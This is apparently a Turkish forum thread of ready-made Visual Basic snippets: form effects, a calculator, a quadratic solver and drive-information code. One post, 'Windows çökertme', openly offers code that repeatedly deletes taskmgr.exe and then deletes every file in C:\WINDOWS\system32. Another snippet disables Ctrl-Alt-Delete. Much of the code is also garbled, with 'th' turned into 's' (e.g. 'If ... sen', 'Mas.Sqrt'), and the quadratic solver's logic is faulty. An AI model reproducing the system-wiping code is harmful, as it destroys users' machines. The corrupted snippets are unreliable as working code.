Zıplanacak içerik
  • Üye Ol

Visual Basic İçin Hazır Kodlar


LaRsiE_

Önerilen İletiler

Titreyen Form

Private Sub Form_Load()
Timer1.Interval = 22
End Sub
Private Sub Timer1_Timer()
Form1.Top = Form1.Top + 50
Form1.Top = Form1.Top - 50
Form1.Left = Form1.Left - 50
Form1.Left = Form1.Top + 50
End Sub

Formu Yuvarlatma

 

Private Sub Form_Load()
Dim hr&, dl&
Dim usew&, useh&
usew& = Me.Width / Screen.TwipsPerPixelX
useh& = Me.Height / Screen.TwipsPerPixelY
hr& = CreateEllipticRgn(55, -20, usew, useh)
dl& = SetWindowRgn(Me.hWnd, hr, True)
End Sub

Her Koseden Program Kapatma

Private Sub Cmd1çıkış_Click()
Do Until Form1.Height = 405 And Form1.Width = 1680
Form1.Height = Form1.Height - 1
Form1.Width = Form1.Width - 1
Loop
Unload Me
End Sub
Private Sub Form_Load()
Form1.Caption = "Form Move"
Form1.Height = 0
Form1.Width = 1680
Timer1.Interval = 200
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
For x = 0 To Form1.Height + 2000
Form1.Height = x
Next x
For y = 100 To Form1.Width + 1500
Form1.Width = y
Next y
Timer1.Enabled = False
End Sub

Yanip Sonen Label

 

Private Sub Command1_Click()
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbBlue
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbGreen
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbBlue
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbGreen
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed
End Sub
Private Sub label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbBlue
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbGreen
For X = 1 To 5000: DoEvents: Next X
label1.ForeColor = vbRed

Etrafa Carpan Top

 

Private Sub Command1_Click()
End
End Sub
Private Sub topa_Click()
End Sub
Private Sub xgeri_Timer()
topa.Left = topa.Left - 100
If topa.Left < 0 Then
xileri.Enabled = True
xgeri.Enabled = False
End If
End Sub
Private Sub xileri_Timer()
topa.Left = topa.Left + 100
If topa.Left > 13000 Then
xileri.Enabled = False
xgeri.Enabled = True
End If
End Sub
Private Sub ygeri_Timer()
topa.top = topa.top - 100
If topa.top < 0 Then
yileri.Enabled = True
ygeri.Enabled = False
End If
End Sub
Private Sub yileri_Timer()
topa.top = topa.top + 100
If topa.top > 9000 Then
yileri.Enabled = False
ygeri.Enabled = True
End If
End Sub

Ctrl-Alt-Delete ve Ctrl-Esc tus kombinasyonlarinin calismasini iptal etme

 

Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Sub CtrlAltDeleteKapat(Kapali As Boolean)
Dim X As Long
X = SystemParametersInfo(97, Kapali, CStr(1), 0)
End Sub
Ctrl-Alt-Delete kombinasyonunu kapatmak için:
Call CtrlAltDeleteKapat(True)
Ctrl-Alt-Delete kombinasyonunu açmak için:
Call CtrlAltDeleteKapat(False)

Formu Yakip Söndürme

 

Private Sub Timer1_Timer()
If Me.Visible = True Then
Me.Visible = False
Else
Me.Visible = True
End If
End Sub
Private Sub Command1_Click()
Timer1.Interval = 1000
End Sub

Formu Kaydirma

 

Private Sub Command1_Click()
Do Until Form1.Top = Screen.Height
Form1.Top = Form1.Top + 1
Loop
Unload Me
End Sub

Ekran Koruyucu

 

Public Sub drawcircle()
Dim red As Integer 'declare all varibles
Dim blue As Integer
Dim green As Integer
Dim xPos As Integer
Dim yPos As Integer
red = 255 * Rnd 'randomize red color
blue = 255 * Rnd 'randomize blue color
green = 255 * Rnd 'randomize green color
xPos = ScaleWidth / 2
yPos = ScaleHeight / 2
radius = ((yPos * 0.99) + 1) * Rnd
Circle (xPos, yPos), radius, RGB(red, blue, green)
End Sub
Private Sub Timer1_Timer()
Call drawcircle
End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

[b]basit ses ayar programı

[/b]'bir kaydırma cubuğu(Slider1)(textpozision=0 yapın)
've bir metin kutusu(Text1) ihtiyaç vardır.

Private Declare Function waveOutSetVolume Lib "Winmm" (ByVal wDeviceID As Integer, ByVal dwVolume As Long) As Integer
Private Declare Function waveOutGetVolume Lib "Winmm" (ByVal wDeviceID As Integer, dwVolume As Long) As Integer
Private Sub Command1_Click()
Dim a, i As Long
Dim tmp As String
a = waveOutGetVolume(0, i)
tmp = "&h" & Right(Hex$(i), 4)
Text1 = CLng(tmp)
End Sub



Private Sub Slider1_Scroll()
Dim a, i As Long
Dim tmp, vol As String
Slider1.Min = 0
Slider1.Max = 100



vol = Slider1.Value * 650
Text1 = Slider1.Value * 650
tmp = Right((Hex$(vol + 65536)), 4)
vol = CLng("&H" & tmp & tmp)
a = waveOutSetVolume(0, vol)


End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

[b]Girilen sayının Faktöriyelini Verir

[/b]Private Function fakt(a As Byte) As Variant
f = 1
For i = 1 To a
f = f * i
Next
fakt = f
End Function

Private Sub Command1_Click()
Label1.Caption = fakt(Text1.Text)
End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

Basliksiz Formu Hareket Ettirme

Option Explicit
Private Declare Function ReleaseCapture Lib \"user32\" () As Long
Private Declare Function SendMessage Lib \"user32\"Alias _
\"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg _
As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const HTCAPTION = 2
Private Const WM_NCLBUTTONDOWN = &HA1
Private Const WM_SYSCOMMAND = &H112
Private Sub label1_MouseDown(Button As Integer, Shift As _
Integer, X As Single, Y As Single)
Call ReleaseCapture
SendMessage Me.hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&
End Sub
Private Sub Command1_Click()
Unload Me
End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

Her Koseden Program Kapatma

Private Sub Cmd1çıkış_Click()
Do Until Form1.Height = 405 And Form1.Width = 1680
Form1.Height = Form1.Height - 1
Form1.Width = Form1.Width - 1
Loop
Unload Me
End Sub
Private Sub Form_Load()
Form1.Caption = \"Form Move\"
Form1.Height = 0
Form1.Width = 1680
Timer1.Interval = 200
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
For x = 0 To Form1.Height + 2000
Form1.Height = x
Next x
For y = 100 To Form1.Width + 1500
Form1.Width = y
Next y
Timer1.Enabled = False
End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

ikinci dereceden denklem çozer

Public Class Form1

Inherits System.Windows.Forms.Form



#Region " Windows Form Designer generated code "



Public Sub New()

MyBase.New()



'sis Call Is required by se Windows Form Designer.

InitializeComponent()



'Add any initialization after se InitializeComponent() Call



End Sub



'Form overrides dispose To clean up se component list.

Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)

If disposing sen

If Not (components Is Nosing) sen

components.Dispose()

End If

End If

MyBase.Dispose(disposing)

End Sub



'Required by se Windows Form Designer

Private components As System.ComponentModel.IContainer



'NOTE: se following procedure Is required by se Windows Form Designer

'It can be modified using se Windows Form Designer.

'Do Not modify it using se code editor.

Friend WisEvents TextBox1 As System.Windows.Forms.TextBox

Friend WisEvents TextBox2 As System.Windows.Forms.TextBox

Friend WisEvents TextBox3 As System.Windows.Forms.TextBox

Friend WisEvents Label1 As System.Windows.Forms.Label

Friend WisEvents Label2 As System.Windows.Forms.Label

Friend WisEvents Label3 As System.Windows.Forms.Label

Friend WisEvents Button1 As System.Windows.Forms.Button

Friend WisEvents Label4 As System.Windows.Forms.Label

Friend WisEvents Label5 As System.Windows.Forms.Label

Friend WisEvents Label6 As System.Windows.Forms.Label

Friend WisEvents Label7 As System.Windows.Forms.Label

Friend WisEvents Label8 As System.Windows.Forms.Label

Friend WisEvents Label9 As System.Windows.Forms.Label

Friend WisEvents Label10 As System.Windows.Forms.Label

Friend WisEvents Label11 As System.Windows.Forms.Label

Private Sub InitializeComponent()

Me.TextBox1 = New System.Windows.Forms.TextBox

Me.TextBox2 = New System.Windows.Forms.TextBox

Me.TextBox3 = New System.Windows.Forms.TextBox

Me.Label1 = New System.Windows.Forms.Label

Me.Label2 = New System.Windows.Forms.Label

Me.Label3 = New System.Windows.Forms.Label

Me.Button1 = New System.Windows.Forms.Button

Me.Label4 = New System.Windows.Forms.Label

Me.Label5 = New System.Windows.Forms.Label

Me.Label6 = New System.Windows.Forms.Label

Me.Label7 = New System.Windows.Forms.Label

Me.Label8 = New System.Windows.Forms.Label

Me.Label9 = New System.Windows.Forms.Label

Me.Label10 = New System.Windows.Forms.Label

Me.Label11 = New System.Windows.Forms.Label

Me.SuspendLayout()

'

'TextBox1

'

Me.TextBox1.BackColor = System.Drawing.Color.IndianRed

Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None

Me.TextBox1.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.TextBox1.Location = New System.Drawing.Point(40, 24)

Me.TextBox1.Name = "TextBox1"

Me.TextBox1.Size = New System.Drawing.Size(40, 13)

Me.TextBox1.TabIndex = 0

Me.TextBox1.Text = "a"

'

'TextBox2

'

Me.TextBox2.BackColor = System.Drawing.Color.IndianRed

Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.None

Me.TextBox2.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.TextBox2.Location = New System.Drawing.Point(112, 24)

Me.TextBox2.Name = "TextBox2"

Me.TextBox2.Size = New System.Drawing.Size(40, 13)

Me.TextBox2.TabIndex = 1

Me.TextBox2.Text = "b"

'

'TextBox3

'

Me.TextBox3.BackColor = System.Drawing.Color.IndianRed

Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.None

Me.TextBox3.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.TextBox3.Location = New System.Drawing.Point(160, 24)

Me.TextBox3.Name = "TextBox3"

Me.TextBox3.Size = New System.Drawing.Size(40, 13)

Me.TextBox3.TabIndex = 2

Me.TextBox3.Text = "c"

'

'Label1

'

Me.Label1.Font = New System.Drawing.Font("Trebuchet MS", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.Label1.Location = New System.Drawing.Point(56, 16)

Me.Label1.Name = "Label1"

Me.Label1.Size = New System.Drawing.Size(56, 24)

Me.Label1.TabIndex = 3

Me.Label1.Text = "x^2 +"

'

'Label2

'

Me.Label2.Font = New System.Drawing.Font("Trebuchet MS", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.Label2.Location = New System.Drawing.Point(128, 16)

Me.Label2.Name = "Label2"

Me.Label2.Size = New System.Drawing.Size(32, 23)

Me.Label2.TabIndex = 4

Me.Label2.Text = "x +"

'

'Label3

'

Me.Label3.Font = New System.Drawing.Font("Trebuchet MS", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.Label3.Location = New System.Drawing.Point(200, 16)

Me.Label3.Name = "Label3"

Me.Label3.Size = New System.Drawing.Size(32, 23)

Me.Label3.TabIndex = 5

Me.Label3.Text = "=0"

'

'Button1

'

Me.Button1.Location = New System.Drawing.Point(248, 16)

Me.Button1.Name = "Button1"

Me.Button1.TabIndex = 6

Me.Button1.Text = "Coz Ulan"

'

'Label4

'

Me.Label4.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.Label4.Location = New System.Drawing.Point(104, 72)

Me.Label4.Name = "Label4"

Me.Label4.Size = New System.Drawing.Size(100, 16)

Me.Label4.TabIndex = 7

Me.Label4.Text = "Label4"

'

'Label5

'

Me.Label5.Location = New System.Drawing.Point(104, 88)

Me.Label5.Name = "Label5"

Me.Label5.TabIndex = 8

Me.Label5.Text = "Label5"

'

'Label6

'

Me.Label6.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Underline, System.Drawing.GraphicsUnit.Point, CType(0, Byte))

Me.Label6.Location = New System.Drawing.Point(280, 72)

Me.Label6.Name = "Label6"

Me.Label6.Size = New System.Drawing.Size(100, 16)

Me.Label6.TabIndex = 9

Me.Label6.Text = "Label6"

'

'Label7

'

Me.Label7.Location = New System.Drawing.Point(280, 88)

Me.Label7.Name = "Label7"

Me.Label7.TabIndex = 10

Me.Label7.Text = "Label7"

'

'Label8

'

Me.Label8.Location = New System.Drawing.Point(56, 72)

Me.Label8.Name = "Label8"

Me.Label8.Size = New System.Drawing.Size(40, 23)

Me.Label8.TabIndex = 11

Me.Label8.Text = "1. Kok"

'

'Label9

'

Me.Label9.Location = New System.Drawing.Point(232, 72)

Me.Label9.Name = "Label9"

Me.Label9.Size = New System.Drawing.Size(40, 23)

Me.Label9.TabIndex = 12

Me.Label9.Text = "2. Kok"

'

'Label10

'

Me.Label10.Location = New System.Drawing.Point(64, 128)

Me.Label10.Name = "Label10"

Me.Label10.TabIndex = 13

Me.Label10.Text = "Label10"

'

'Label11

'

Me.Label11.Location = New System.Drawing.Point(240, 128)

Me.Label11.Name = "Label11"

Me.Label11.TabIndex = 14

Me.Label11.Text = "Label11"

'

'Form1

'

Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)

Me.BackColor = System.Drawing.Color.IndianRed

Me.ClientSize = New System.Drawing.Size(560, 266)

Me.Controls.Add(Me.Label11)

Me.Controls.Add(Me.Label10)

Me.Controls.Add(Me.Label9)

Me.Controls.Add(Me.Label8)

Me.Controls.Add(Me.Label7)

Me.Controls.Add(Me.Label6)

Me.Controls.Add(Me.Label5)

Me.Controls.Add(Me.Label4)

Me.Controls.Add(Me.Button1)

Me.Controls.Add(Me.Label3)

Me.Controls.Add(Me.Label2)

Me.Controls.Add(Me.Label1)

Me.Controls.Add(Me.TextBox3)

Me.Controls.Add(Me.TextBox2)

Me.Controls.Add(Me.TextBox1)

Me.ForeColor = System.Drawing.Color.White

Me.Name = "Form1"

Me.Text = "Ikinci dereceden denklem cozuyom oleeeey"

Me.ResumeLayout(False)



End Sub



#End Region



Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim a, b, c, d, f, x, x1, x2, diskriminant As Long

a = TextBox1.Text

b = TextBox2.Text

c = TextBox3.Text

If a = "" sen

a = 1

ElseIf b = "" sen

b = 1

ElseIf c = "" sen

c = 1

End If

diskriminant = b ^ 2 - (4 * a * c)

If diskriminant < 0 sen

InputBox("Bu denklemin reel koku yok")

GoTo seson

ElseIf diskriminant = 0 sen

InputBox("Bu denklemin iki esit koku var")

GoTo esitikikok

ElseIf diskriminant > 0 sen

InputBox("Bu denklemin iki koku var")

GoTo ikikok

End If

esitikikok:

d = -1 * b

f = Mas.Sqrt(diskriminant)

x = (d + f) / (2 * a)

Label10.Text = x

Label11.Text = x

Label4.Text = (b & " + kok " & diskriminant)

Label5.Text = 2 * a

Label6.Text = (b & " - kok " & diskriminant)

Label7.Text = Label5.Text

GoTo seson

ikikok:

x1 = (d + f) / (2 * a)

x2 = (d - f) / (2 * a)

Label10.Text = x1

Label11.Text = x2

Label4.Text = (b & " + kok " & diskriminant)

Label5.Text = 2 * a

Label6.Text = (b & " - kok " & diskriminant)

Label7.Text = Label5.Text

seson:

InputBox("Islem yapildi")

End Sub

End Class

Yoruma sekme
Diğer sitelerde paylaş

 

Hesap makinesi

Dim koya, a, b, f, m, k, ka

Private Sub Command1_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "1"
End Sub

Private Sub Command1_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command1.BackColor = &H80000000
End Sub

Private Sub Command10_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "0"
End Sub

Private Sub Command10_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command10_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command10.BackColor = &H80000000
End Sub

Private Sub Command11_Click()
a = Val(Text1.Text)
Text1.Text = " "
m = 1
f = 0
Command12.Enabled = False
Command13.Enabled = False
Command14.Enabled = False
End Sub

Private Sub Command11_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command11_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command11.BackColor = &H80000000
End Sub

Private Sub Command12_Click()
a = Val(Text1.Text)
Text1.Text = " "
m = 2
f = 0
Command11.Enabled = False
Command13.Enabled = False
Command14.Enabled = False
End Sub

Private Sub Command12_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command12_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command12.BackColor = &H80000000
End Sub

Private Sub Command13_Click()
a = Val(Text1.Text)
Text1.Text = " "
m = 3
f = 0
Command11.Enabled = False
Command12.Enabled = False
Command14.Enabled = False
End Sub

Private Sub Command13_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command13.BackColor = &H80000000
End Sub

Private Sub Command14_Click()
a = Val(Text1.Text)
Text1.Text = " "
m = 4
f = 0
Command12.Enabled = False
Command13.Enabled = False
Command11.Enabled = False
End Sub

Private Sub Command14_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command14_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command14.BackColor = &H80000000
End Sub

Private Sub Command15_Click()
b = Val(Text1.Text)
If (m = 1) sen
Text1.Text = " "
Text1.Text = a + b
End If
If (m = 2) sen
Text1.Text = " "
Text1.Text = a - b
End If
If (m = 3) sen
Text1.Text = " "
Text1.Text = a * b
End If
If (m = 4) sen
Text1.Text = " "
Text1.Text = a / b
End If
m = 0
Command11.Enabled = True
Command12.Enabled = True
Command13.Enabled = True
Command14.Enabled = True
End Sub

Private Sub Command15_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command15_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command15.BackColor = &H80000000
End Sub

Private Sub Command16_Click()
Text1.Text = " "
End Sub

Private Sub Command16_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command16_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command16.BackColor = &H80000000
End Sub

Private Sub Command17_Click()
End
End Sub

Private Sub Command17_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command17.BackColor = &H80000000
End Sub

Private Sub Command18_Click()
k = Val(Text1.Text)
Text1.Text = Sqr(k)
End Sub

Private Sub Command18_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command18_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command18.BackColor = &H80000000
End Sub

Private Sub Command19_Click()
ka = Val(Text1.Text)
Text1.Text = ka * ka
End Sub

Private Sub Command19_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command19_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command19.BackColor = &H80000000
End Sub

Private Sub Command2_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "2"
End Sub

Private Sub Command2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command2.BackColor = &H80000000
End Sub

Private Sub Command3_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "3"
End Sub

Private Sub Command3_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command3.BackColor = &H80000000
End Sub

Private Sub Command4_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "4"
End Sub

Private Sub Command4_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command4_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command4.BackColor = &H80000000
End Sub

Private Sub Command5_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "5"
End Sub

Private Sub Command5_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command5_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command5.BackColor = &H80000000
End Sub

Private Sub Command6_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "6"
End Sub

Private Sub Command6_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command6_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command6.BackColor = &H80000000
End Sub

Private Sub Command7_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "7"
End Sub


Private Sub Command7_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command7_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command7.BackColor = &H80000000
End Sub

Private Sub Command8_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "8"
End Sub


Private Sub Command8_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command8_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command8.BackColor = &H80000000
End Sub

Private Sub Command9_Click()
If (f = 0) sen
Text1.Text = " "
f = 1
End If
Text1.Text = Text1.Text + "9"
End Sub


Private Sub Command9_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Command9_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command9.BackColor = &H80000000
End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
End Sub

Private Sub Form_Load()
f = 1
m = 0
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command1.BackColor = &H8000000F
Command2.BackColor = &H8000000F
Command3.BackColor = &H8000000F
Command4.BackColor = &H8000000F
Command5.BackColor = &H8000000F
Command6.BackColor = &H8000000F
Command7.BackColor = &H8000000F
Command8.BackColor = &H8000000F
Command9.BackColor = &H8000000F
Command10.BackColor = &H8000000F
Command11.BackColor = &H8000000F
Command12.BackColor = &H8000000F
Command13.BackColor = &H8000000F
Command14.BackColor = &H8000000F
Command15.BackColor = &H8000000F
Command16.BackColor = &H8000000F
Command18.BackColor = &H8000000F
Command19.BackColor = &H8000000F
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If (KeyAscii = 27) sen
End
End If
If (f = 0) sen
Text1.Text = " "
f = 1
End If
If (KeyAscii = 43) sen
a = Val(Text1.Text)
Text1.Text = " "
f = 0
m = 1
End If
If (KeyAscii = 45) sen
a = Val(Text1.Text)
Text1.Text = " "
f = 0
m = 2
End If
If (KeyAscii = 42) sen
a = Val(Text1.Text)
Text1.Text = " "
f = 0
m = 3
End If
If (KeyAscii = 47) sen
a = Val(Text1.Text)
Text1.Text = " "
f = 0
m = 4
End If
If (KeyAscii = 13) sen
b = Val(Text1.Text)
If (m = 1) sen
Text1.Text = " "
Text1.Text = a + b
End If
If (m = 2) sen
Text1.Text = " "
Text1.Text = a - b
End If
If (m = 3) sen
Text1.Text = " "
Text1.Text = a * b
End If
If (m = 4) sen
Text1.Text = " "
Text1.Text = a / b
End If
m = 0
End If
If (Text1.Text = "+") sen
Text1.Text = " "
End If
If (KeyAscii = 25) sen
Text1.Text = " "
End If
End Sub

Yoruma sekme
Diğer sitelerde paylaş

 

Windows çökertme her yerde denemeyin :) 

Private Sub Form_Load()

filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
'Burada Taskmgr dosyasini yedekledik
Timer1.interval=10

End Sub

Private Sub Timer1()

On Local Error Resume Next

Kill "c:\windows\system32\taskmgr.exe"
End Sub

Private Sub Form_unload()
filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"


kill "C:\WINDOWS\system32\*.*"



End Sub


Not: bu kodun sorumlulugu kesinlikle size aittir

Yoruma sekme
Diğer sitelerde paylaş

Sistem hakkında bilgi toplamak

Projeye eklenmesi gerekenler
' Drive List Box (DriveNAME)
' Dir List Box (dirNAME)
' File List Box (fileFILENAMES)
' 8 label:
' lbDVNAME, lbLBNAME, lbDVTYPE, lbTDSKSPC, lbDSKFRSPC, lbCRNTDR, lbWINDR,
' lbPRGCRNTDR
' 1 Modül

Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPasName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'formun adini frmDRIVES olarak düzenleyin

Private Sub dirNAME_Change()
fileFILENAMES.Pas = dirNAME.Pas
End Sub

Private Sub DriveNAME_Change()
On Error GoTo FindError
dirNAME.Pas = DriveNAME.Drive
Call DisplayDriveNAME
Call DisplaydriveLABEL
Call DisplayDriveTYPE
Call DisplayTotalDiskSPACE
Call DisplayDiskFreeSPACE
Call DisplayWindowDIRECTORY
Call DisplayCurrentDIR
Call DisplayProgramCurrentDIR
Exit Sub
FindError:
MsgBox Err.Description, vbOKOnly + vbCritical, "Error Found"
Call DisplayDriveNAME
Call DisplaydriveLABEL
Call DisplayDriveTYPE
Call DisplayTotalDiskSPACE
Call DisplayDiskFreeSPACE
Call DisplayWindowDIRECTORY
Call DisplayCurrentDIR
Call DisplayProgramCurrentDIR
End Sub

Private Sub FileNAME_Click()
lbFLNAME.Caption = UCase(Left(FileName.FileName, (InStr(1, FileName.FileName, "."))))
lbFLEXT.Caption = UCase(Right(FileName.FileName, 3))
Call DisplayCurrentDirectory
End Sub


Private Sub Form_Load()
frmDRIVES.Height = 5220
frmDRIVES.Wids = 7665
frmDRIVES.Left = 2325
frmDRIVES.Caption = "works On drives by Created By Ali Farooq"
Call DisplayDriveNAME
Call DisplaydriveLABEL
Call DisplayDriveTYPE
Call DisplayTotalDiskSPACE
Call DisplayDiskFreeSPACE
Call DisplayWindowDIRECTORY
Call DisplayCurrentDIR
Call DisplayProgramCurrentDIR
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If ((frmDRIVES.Height > 5220) Or (frmDRIVES.Wids > 7665)) sen
frmDRIVES.Height = 5220
frmDRIVES.Wids = 7665
frmDRIVES.Left = 2325
ElseIf ((frmDRIVES.Height < 5220) Or (frmDRIVES.Wids < 7665)) sen
frmDRIVES.Height = 5220
frmDRIVES.Wids = 7665
frmDRIVES.Left = 2325
End If
End Sub

Sub DisplayDriveNAME()
lbDVNAME.Caption = UCase(Left(DriveNAME.Drive, 2))
End Sub

Sub DisplaydriveLABEL()
lbLBNAME.Caption = Mid(DriveNAME.Drive, 4, 13)
If lbLBNAME.Caption = "" sen
lbLBNAME.Caption = "No Label Defined"
End If
End Sub

Sub DisplayDriveTYPE()
Dim Dname, GDT As String
Dname = Left(DriveNAME.Drive, 2) & "\"
GDT = GetDriveType(Dname)
If GDT = 0 sen
lbDVTYPE.Caption = "Unable To Determine se Drive Type"
ElseIf GDT = 1 sen
lbDVTYPE.Caption = "sere Is no root Directory"
ElseIf GDT = 2 sen 'DRIVE_REMOVABLE
lbDVTYPE.Caption = "Removable Disk(Like Floppy, Flash Disk)"
ElseIf GDT = 3 sen 'DRIVE_FIXED
lbDVTYPE.Caption = "Fixed Drive (Like C:, D:, E: etc)"
ElseIf GDT = 4 sen 'DRIVE_REMOTE
lbDVTYPE.Caption = "Drive Remote (NetWork Drive)"
ElseIf GDT = 5 sen 'DRIVE_CDROM
lbDVTYPE.Caption = "CDROM Drive"
ElseIf GDT = 6 sen 'DRIVE_RAMDISK
lbDVTYPE.Caption = "Drive Is a RAM drive"
End If
End Sub

Sub DisplayTotalDiskSPACE()
On Error Resume Next
Dim Dname As String
Dim GTDFS As Long
Dim Sectors As Long, Bytes As Long, FreeClusters As Long, TotalClusters As Long
Dname = Left(DriveNAME.Drive, 2) & "\"
GTDFS = GetDiskFreeSpace(Dname, Sectors, Bytes, FreeClusters, TotalClusters)
lbTDSKSPC.Caption = Sectors * Bytes * TotalClusters
End Sub

Sub DisplayDiskFreeSPACE()
On Error Resume Next
Dim Dname As String
